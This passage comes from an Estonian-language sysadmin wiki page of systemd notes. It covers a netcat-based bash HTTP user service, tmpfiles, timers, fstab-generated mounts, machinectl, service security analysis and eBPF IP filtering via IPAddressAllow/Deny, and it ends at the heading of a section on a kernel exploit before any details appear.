HTTP_RESPONSE+=&amp;quot;Content-Length: ${#HTTP_CONTENT}\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;${HTTP_CONTENT}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Loop forever, listening for connections and serving the response&lt;br /&gt;
while true; do&lt;br /&gt;
    # Use netcat to listen on the port, process one request, and close.&lt;br /&gt;
    # The 'echo' ensures the response is sent back.&lt;br /&gt;
    printf &amp;quot;%b&amp;quot; &amp;quot;$HTTP_RESPONSE&amp;quot; | nc -l -p $LISTEN_PORT -q 1&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
priit@pwrk-02:~$ chmod 0755 /home/priit/bin/bash-http-server&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kasutaja-põhine systemd unit service&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ mkdir -p .config/systemd/user&lt;br /&gt;
priit@pwrk-02:~$ cat .config/systemd/user/bash-http-server.service&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=Bash Netcat HTTP Microservice&lt;br /&gt;
&lt;br /&gt;
After=network-online.target&lt;br /&gt;
Wants=network-online.target&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
ExecStart=/home/priit/bin/bash-http-server&lt;br /&gt;
Restart=always&lt;br /&gt;
RestartSec=5s&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This is typically the correct target for persistent user services&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lülitatakse sisse kasutaja nö lingerdamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@pwrk-02:~$ loginctl enable-linger priit&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
loetakse sisse systemd seadistuse muudatused&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user daemon-reload&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning aktiveeritakse teenus + käivitatakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user enable --now bash-http-server.service&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ootus on, et tulemusena käib teenus, nagu lõigu alguses on esitatud.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Systemd/User&lt;br /&gt;
* https://unix.stackexchange.com/questions/251211/why-doesnt-my-systemd-user-unit-start-at-boot&lt;br /&gt;
* https://www.brendanlong.com/systemd-user-services-are-amazing.html&lt;br /&gt;
&lt;br /&gt;
===journald user logs===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===tmpfiles-setup===&lt;br /&gt;
&lt;br /&gt;
tmpfiles-setup haldab programmide ajutiste jms failide jaoks kataloogide olemasolu eest&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ls -ld /usr/lib/tmpfiles.d/*&lt;br /&gt;
-rw-r--r-- 1 root root  238 Dec  2  2015 /usr/lib/tmpfiles.d/00rsyslog.conf&lt;br /&gt;
-rw-r--r-- 1 root root  153 Dec  2  2015 /usr/lib/tmpfiles.d/dbus.conf&lt;br /&gt;
-rw-r--r-- 1 root root  577 Jul  5 16:56 /usr/lib/tmpfiles.d/debian.conf&lt;br /&gt;
-rw-r--r-- 1 root root  362 Jul 19 02:56 /usr/lib/tmpfiles.d/home.conf&lt;br /&gt;
-rw-r--r-- 1 root root 1098 Jul 19 02:56 /usr/lib/tmpfiles.d/journal-nocow.conf&lt;br /&gt;
-rw-r--r-- 1 root root  812 Jul 19 02:56 /usr/lib/tmpfiles.d/legacy.conf&lt;br /&gt;
-rw-r--r-- 1 root root   61 Apr 16  2016 /usr/lib/tmpfiles.d/lvm2.conf&lt;br /&gt;
-rw-r--r-- 1 root root  239 Feb  5  2016 /usr/lib/tmpfiles.d/passwd.conf&lt;br /&gt;
-rw-r--r-- 1 root root  176 Feb 21  2016 /usr/lib/tmpfiles.d/postgresql.conf&lt;br /&gt;
-rw-r--r-- 1 root root   33 Jun  9  2015 /usr/lib/tmpfiles.d/screen-cleanup.conf&lt;br /&gt;
-rw-r--r-- 1 root root   31 Mar 16  2017 /usr/lib/tmpfiles.d/sshd.conf&lt;br /&gt;
-rw-r--r-- 1 root root  313 Jul  4 10:37 /usr/lib/tmpfiles.d/sudo.conf&lt;br /&gt;
-rw-r--r-- 1 root root 1544 Jul 19 02:56 /usr/lib/tmpfiles.d/systemd.conf&lt;br /&gt;
-rw-r--r-- 1 root root  496 Jul 19 02:56 /usr/lib/tmpfiles.d/systemd-nologin.conf&lt;br /&gt;
-rw-r--r-- 1 root root  637 Jul 19 02:56 /usr/lib/tmpfiles.d/tmp.conf&lt;br /&gt;
-rw-r--r-- 1 root root  532 Jul 19 02:56 /usr/lib/tmpfiles.d/var.conf&lt;br /&gt;
-rw-r--r-- 1 root root  623 Jul 19 02:56 /usr/lib/tmpfiles.d/x11.conf&lt;br /&gt;
-rw-r--r-- 1 root root   41 Aug 16 12:13 /usr/lib/tmpfiles.d/zabbix-agent.conf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Timer===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-timers&lt;br /&gt;
 NEXT                          LEFT     LAST                          PASSED  UNIT                         ACTIVATES&lt;br /&gt;
 Tue 2017-07-25 06:52:49 EEST  6h left  Mon 2017-07-24 06:49:40 EEST  17h ago apt-daily.timer              apt-daily.service&lt;br /&gt;
 Tue 2017-07-25 10:41:54 EEST  10h left Mon 2017-07-24 10:41:54 EEST  13h ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service&lt;br /&gt;
&lt;br /&gt;
===systemd-fstab-generator===&lt;br /&gt;
&lt;br /&gt;
Paistab, et systemd tekitab automaatselt /etc/fstab sisule vastavad unit failid /run alla, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /run/systemd/generator/var-lib-postgresql.mount &lt;br /&gt;
# Automatically generated by systemd-fstab-generator&lt;br /&gt;
&lt;br /&gt;
[Unit]&lt;br /&gt;
SourcePath=/etc/fstab&lt;br /&gt;
Documentation=man:fstab(5) man:systemd-fstab-generator(8)&lt;br /&gt;
Before=local-fs.target&lt;br /&gt;
Requires=systemd-fsck@dev-system-var_lib_postgresql.service&lt;br /&gt;
After=systemd-fsck@dev-system-var_lib_postgresql.service&lt;br /&gt;
&lt;br /&gt;
[Mount]&lt;br /&gt;
What=/dev/system/var_lib_postgresql&lt;br /&gt;
Where=/var/lib/postgresql&lt;br /&gt;
Type=ext4&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui fstab sees kirjeldatud LVM voluumi nime jääb samaks, aga UUID muutub (nt olemasolev LVM volüüm kustutada ja tekitada asemele teine) ning öelda&lt;br /&gt;
&lt;br /&gt;
 # mount /var/lib/postgresql&lt;br /&gt;
&lt;br /&gt;
siis failisüsteem monteeritakse ja ühendatakse ka kohe lahti syslog tekstiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Feb 20 00:57:33 ky-test kernel: [1210006.815639] EXT4-fs (dm-6): mounted filesystem with ordered data mode. Opts: discard&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: var-lib-postgresql.mount: Unit is bound to inactive unit dev-system-var_lib_postgresql.device. Stopping, too.&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: Unmounting /var/lib/postgresql...&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: Unmounted /var/lib/postgresql.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lahenduseks on öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* kerneli mooduleid loeb käivitamisel systemd-modules-load&lt;br /&gt;
&lt;br /&gt;
 systemd-modules-load.service&lt;br /&gt;
&lt;br /&gt;
Seadistusfailiks on&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /etc/modules-load.d/modules.conf &lt;br /&gt;
 lrwxrwxrwx 1 root root 10 Oct  9 14:58 /etc/modules-load.d/modules.conf -&amp;gt; ../modules&lt;br /&gt;
&lt;br /&gt;
systemd komponente kasutavas operatsioonisüsteemis töötavad nt sellised protsessid&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep '/lib/systemd/systemd-'&lt;br /&gt;
 root       173  0.0  0.5  28188  2912 ?        Ss   15:39   0:00 /lib/systemd/systemd-journald&lt;br /&gt;
 root       190  0.0  0.7  44072  4000 ?        Ss   15:39   0:00 /lib/systemd/systemd-udevd&lt;br /&gt;
 systemd+   388  0.0  0.4  97952  2312 ?        Ssl  15:39   0:00 /lib/systemd/systemd-timesyncd&lt;br /&gt;
 root       396  0.0  0.5  28352  2772 ?        Ss   15:39   0:00 /lib/systemd/systemd-logind&lt;br /&gt;
 systemd+   402  0.0  0.5  28504  2892 ?        Ss   15:39   0:00 /lib/systemd/systemd-networkd&lt;br /&gt;
 systemd+  1004  0.0  0.5  31340  2880 ?        Ss   16:00   0:00 /lib/systemd/systemd-resolved&lt;br /&gt;
&lt;br /&gt;
Tundub, et midagi teeb käsk systemd konfi muudatuste kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
&lt;br /&gt;
Tugevamaks kehtestamiseks või nö jamade lahendamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reexec&lt;br /&gt;
&lt;br /&gt;
===su ja sudo kasutamine===&lt;br /&gt;
&lt;br /&gt;
su/sudo/runuser programmide kasutamisel ei moodustada nö kasutaja keskkonda (environment)&lt;br /&gt;
&lt;br /&gt;
nende asemel annab nö autentsema tulemuse machinectl kasutamine, nt&lt;br /&gt;
&lt;br /&gt;
 # machinectl shell imre@&lt;br /&gt;
&lt;br /&gt;
nt on seejärel käivitatud sellised protsessid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@ph-minio-01:~$ ps U imre&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
   1212 pts/1    Ss     0:00 /bin/bash&lt;br /&gt;
   1216 ?        Ss     0:00 /usr/lib/systemd/systemd --user&lt;br /&gt;
   1218 ?        S      0:00 (sd-pam)&lt;br /&gt;
   1251 pts/1    S      0:00 (sd-pam)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja väärtustatud mitmesugused XDG keskkonnamuutujad&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ env | grep XDG&lt;br /&gt;
XDG_SESSION_TYPE=tty&lt;br /&gt;
XDG_SESSION_CLASS=user&lt;br /&gt;
XDG_SESSION_ID=29&lt;br /&gt;
XDG_RUNTIME_DIR=/run/user/1000&lt;br /&gt;
XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/deskto&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===LoadCredentials kasutamine===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# systemctl edit nginx&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
LoadCredential=ssl_key:/etc/ssl/private/nginx.key&lt;br /&gt;
LoadCredential=ssl_cert:/etc/ssl/certs/nginx.crt&lt;br /&gt;
PrivateTmp=yes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===systemd-analyze===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemd-analyze --user security nginx-07&lt;br /&gt;
  NAME                                                        DESCRIPTION                                                             EXPOSURE&lt;br /&gt;
✗ KeyringMode=                                                Service shares key material with other service                               0.2&lt;br /&gt;
  PrivateTmp=                                                 Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  ProtectHome=                                                Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  ProtectSystem=                                              Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  RootDirectory=/RootImage=                                   Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  SupplementaryGroups=                                        Service runs as root, option does not matter                                    &lt;br /&gt;
  RemoveIPC=                                                  Service runs as root, option does not apply                                     &lt;br /&gt;
✗ User=/DynamicUser=                                          Service runs as root user                                                    0.4&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_TIME                         Service processes may change the system clock                                0.2&lt;br /&gt;
✗ NoNewPrivileges=                                            Service processes may acquire new privileges                                 0.2&lt;br /&gt;
✓ AmbientCapabilities=                                        Service process does not receive ambient capabilities                           &lt;br /&gt;
✗ PrivateDevices=                                             Service potentially has access to hardware devices                           0.2&lt;br /&gt;
✗ ProtectClock=                                               Service may write to the hardware clock or system clock                      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_PACCT                        Service may use acct()                                                       0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_KILL                             Service may send UNIX signals to arbitrary processes                         0.1&lt;br /&gt;
✗ ProtectKernelLogs=                                          Service may read from or write to the kernel log ring buffer                 0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_WAKE_ALARM                       Service may program timers that wake up the system                           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_(DAC_*|FOWNER|IPC_OWNER)         Service may override UNIX file/IPC permission checks                         0.2&lt;br /&gt;
✗ ProtectControlGroups=                                       Service may modify the control group file system                             0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_LINUX_IMMUTABLE                  Service may mark files immutable                                             0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_IPC_LOCK                         Service may lock memory into RAM                                             0.1&lt;br /&gt;
✗ ProtectKernelModules=                                       Service may load or read kernel modules                                      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_MODULE                       Service may load kernel modules                                              0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_BPF                              Service may load BPF programs                                                0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_TTY_CONFIG                   Service may issue vhangup()                                                  0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_BOOT                         Service may issue reboot()                                                   0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_CHROOT                       Service may issue chroot()                                                   0.1&lt;br /&gt;
✗ PrivateMounts=                                              Service may install system mounts                                            0.2&lt;br /&gt;
✗ SystemCallArchitectures=                                    Service may execute system calls with all ABIs                               0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_BLOCK_SUSPEND                    Service may establish wake locks                                             0.1&lt;br /&gt;
✗ MemoryDenyWriteExecute=                                     Service may create writable executable memory mappings                       0.1&lt;br /&gt;
✗ RestrictNamespaces=~user                                    Service may create user namespaces                                           0.3&lt;br /&gt;
✗ RestrictNamespaces=~pid                                     Service may create process namespaces                                        0.1&lt;br /&gt;
✗ RestrictNamespaces=~net                                     Service may create network namespaces                                        0.1&lt;br /&gt;
✗ RestrictNamespaces=~uts                                     Service may create hostname namespaces                                       0.1&lt;br /&gt;
✗ RestrictNamespaces=~mnt                                     Service may create file system namespaces                                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_LEASE                            Service may create file leases                                               0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_MKNOD                            Service may create device nodes                                              0.1&lt;br /&gt;
✗ RestrictNamespaces=~cgroup                                  Service may create cgroup namespaces                                         0.1&lt;br /&gt;
✗ RestrictSUIDSGID=                                           Service may create SUID/SGID files                                           0.2&lt;br /&gt;
✗ RestrictNamespaces=~ipc                                     Service may create IPC namespaces                                            0.1&lt;br /&gt;
✗ ProtectHostname=                                            Service may change system host/domainname                                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_(CHOWN|FSETID|SETFCAP)           Service may change file ownership/access mode/capabilities unrestricted      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SET(UID|GID|PCAP)                Service may change UID/GID identities/capabilities                           0.3&lt;br /&gt;
✗ LockPersonality=                                            Service may change ABI personality                                           0.1&lt;br /&gt;
✗ ProtectKernelTunables=                                      Service may alter kernel tunables                                            0.2&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_PACKET                          Service may allocate packet sockets                                          0.2&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_NETLINK                         Service may allocate netlink sockets                                         0.1&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_UNIX                            Service may allocate local sockets                                           0.1&lt;br /&gt;
✗ RestrictAddressFamilies=~…                                  Service may allocate exotic sockets                                          0.3&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_(INET|INET6)                    Service may allocate Internet sockets                                        0.3&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_MAC_*                            Service may adjust SMACK MAC                                                 0.1&lt;br /&gt;
✗ RestrictRealtime=                                           Service may acquire realtime scheduling                                      0.1&lt;br /&gt;
✗ Delegate=                                                   Service maintains its own delegated control group subtree                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_RAWIO                        Service has raw I/O access                                                   0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_PTRACE                       Service has ptrace() debugging abilities                                     0.3&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_(NICE|RESOURCE)              Service has privileges to change resource use parameters                     0.1&lt;br /&gt;
✗ DeviceAllow=                                                Service has no device ACL                                                    0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_NET_ADMIN                        Service has network configuration privileges                                 0.2&lt;br /&gt;
✗ ProtectProc=                                                Service has full access to process tree (/proc hidepid=)                     0.2&lt;br /&gt;
✗ ProcSubset=                                                 Service has full access to non-process /proc files (/proc subset=)           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_NET_(BIND_SERVICE|BROADCAST|RAW) Service has elevated networking privileges                                   0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_AUDIT_*                          Service has audit subsystem access                                           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_ADMIN                        Service has administrator privileges                                         0.3&lt;br /&gt;
✗ PrivateNetwork=                                             Service has access to the host's network                                     0.5&lt;br /&gt;
✗ PrivateUsers=                                               Service has access to other users                                            0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYSLOG                           Service has access to kernel logging                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@clock                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@cpu-emulation                            Service does not filter system calls                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@debug                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@module                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@mount                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@obsolete                                 Service does not filter system calls                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@privileged                               Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@raw-io                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@reboot                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@resources                                Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@swap                                     Service does not filter system calls                                         0.2&lt;br /&gt;
✗ IPAddressDeny=                                              Service does not define an IP address allow list                             0.2&lt;br /&gt;
✗ NotifyAccess=                                               Service child processes may alter service state                              0.2&lt;br /&gt;
✗ UMask=                                                      Files created by service are world-readable by default                       0.1&lt;br /&gt;
&lt;br /&gt;
→ Overall exposure level for nginx-07.service: 9.9 UNSAFE 😨&lt;br /&gt;
kasutaja@ph-minio-01:~$ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===bpf integratsioon===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* nö uuemal ajal on systemd ja bpf integreeritud, nt võrgu paketifiltri osas&lt;br /&gt;
* bpf integratsioon on seotud cgroup nähtusega, st kitsenduste tegemisel saab kaustada info võrguaadresside, systemd objektide (slice, service) jms kohta (selles mõttes paindlikum kui niisama iptables/nft kuigi ka seal on iseenesest kasutajaga seostamine olemas)&lt;br /&gt;
* bpf ei ole stateful tulemüür, st bpf on stateless (conntrack jms puudub)&lt;br /&gt;
* bpf palju suurema jõudlusega kui tava-paketifilter&lt;br /&gt;
&lt;br /&gt;
====Service====&lt;br /&gt;
&lt;br /&gt;
Tavalisse service unitisse lisada Service sektsiooni 'IPAddressAllow' ja 'IPAddressDeny' direktiive, nt (see on küll podmaniga seotud service generated variant)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# cat .config/containers/systemd/nginx-06.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My Nginx Quadlet Service - 06&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/library/nginx:alpine&lt;br /&gt;
PublishPort=8096:80&lt;br /&gt;
ContainerName=nginx-06&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
# Block all IP traffic by default&lt;br /&gt;
IPAddressDeny=any&lt;br /&gt;
# Then explicitly allow only what you need (e.g., your local subnet)&lt;br /&gt;
IPAddressAllow=192.168.10.0/24&lt;br /&gt;
IPAddressAllow=127.0.0.1&lt;br /&gt;
IPAddressAllow=8.8.8.8&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* ipaddressallow ja deny väärtusi võrreldakse ip pakettide src ja destination aadressidega st piisab kui üks neist klapib&lt;br /&gt;
&lt;br /&gt;
Kehtestada muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl --user daemon-reload&lt;br /&gt;
root@ph-minio-01:~# systemctl --user stop nginx-06&lt;br /&gt;
root@ph-minio-01:~# systemctl --user start nginx-06&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemuse uurimine, väätus id 185 on dünaamiline, õige saab ära vaadata 'bpftool prog show' väljundist&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool prog show id 185&lt;br /&gt;
185: cgroup_skb  name sd_fw_egress  tag df35b3b526089f21  gpl run_time_ns 1378480 run_cnt 1215&lt;br /&gt;
	loaded_at 2026-04-20T12:44:13+0300  uid 0&lt;br /&gt;
	xlated 184B  jited 140B  memlock 4096B  map_ids 51&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# bpftool prog show id 186&lt;br /&gt;
186: cgroup_skb  name sd_fw_ingress  tag 208d1bf35e7113d2  gpl run_time_ns 516780 run_cnt 1204&lt;br /&gt;
	loaded_at 2026-04-20T12:44:13+0300  uid 0&lt;br /&gt;
	xlated 184B  jited 140B  memlock 4096B  map_ids 51&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* run_cnt näitab kui mitmel korral on kitsendust rakendatud&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool map show id 51&lt;br /&gt;
51: lpm_trie  name 4_nginx_06.serv  flags 0x1&lt;br /&gt;
	key 8B  value 8B  max_entries 3  memlock 156B&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool map dump id 51&lt;br /&gt;
key: 20 00 00 00 08 08 08 08  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
key: 20 00 00 00 7f 00 00 01  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
key: 18 00 00 00 c0 a8 0a 00  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
Found 3 elements&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sellise skriptiga saab teisendada loetavamaks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# cat bpftool-map-dump.sh&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
bpftool map dump id 51 | grep '^key' | while read -r line; do&lt;br /&gt;
    bytes=($(echo $line | cut -d: -f2))&lt;br /&gt;
    printf &amp;quot;Prefix: %d | IP: %d.%d.%d.%d\n&amp;quot; &amp;quot;$((16#${bytes[0]}))&amp;quot; &amp;quot;$((16#${bytes[4]}))&amp;quot; &amp;quot;$((16#${bytes[5]}))&amp;quot; &amp;quot;$((16#${bytes[6]}))&amp;quot; &amp;quot;$((16#${bytes[7]}))&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ./bpftool-map-dump.sh&lt;br /&gt;
Prefix: 32 | IP: 8.8.8.8&lt;br /&gt;
Prefix: 32 | IP: 127.0.0.1&lt;br /&gt;
Prefix: 24 | IP: 192.168.10.0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena ei saa konkteinerist välja võrku mujale pöörduda.&lt;br /&gt;
&lt;br /&gt;
====Slice====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl edit user.slice&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# cat /etc/systemd/system/user.slice.d/override.conf&lt;br /&gt;
[Slice]&lt;br /&gt;
# This is a slice, but we can still pass BPF instructions&lt;br /&gt;
IPAddressDeny=any&lt;br /&gt;
IPAddressAllow=192.168.10.0/24&lt;br /&gt;
IPAddressAllow=127.0.0.0/8&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kehtestada muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl daemon-reload&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
logida välja ja sisse ssh pealt näiteks ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# ping 8.8.8.8&lt;br /&gt;
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.&lt;br /&gt;
^C&lt;br /&gt;
--- 8.8.8.8 ping statistics ---&lt;br /&gt;
2 packets transmitted, 0 received, 100% packet loss, time 1005ms&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
bpftop esitab ülevaatlikult&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260420-systemd-bpf-01.png|800px]]&lt;br /&gt;
&lt;br /&gt;
ebpf on seotud mitte protsessiga, aga cgroup'iga nt nginx cgroup juurde kuuluvate ebpf'ide nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@systemd-02:~# bpftool cgroup show /sys/fs/cgroup/system.slice/nginx.service&lt;br /&gt;
ID       AttachType      AttachFlags     Name&lt;br /&gt;
74       cgroup_inet_ingress multi           sd_fw_ingress&lt;br /&gt;
73       cgroup_inet_egress multi           sd_fw_egress&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===20260501 - copy fail eksploit===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* küllap kõik see lugu on ajutise iseloomuga praktiliselt, st varsti saabub uus parandatud linux kernel&lt;br /&gt;
* pedagoogilises mõttes on see huvitav lugu&lt;br /&gt;
* vahetulemusi on huvitav pasteda chatgpt'le ja küsida selgitusi&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - af_alg====&lt;br /&gt;
&lt;br /&gt;
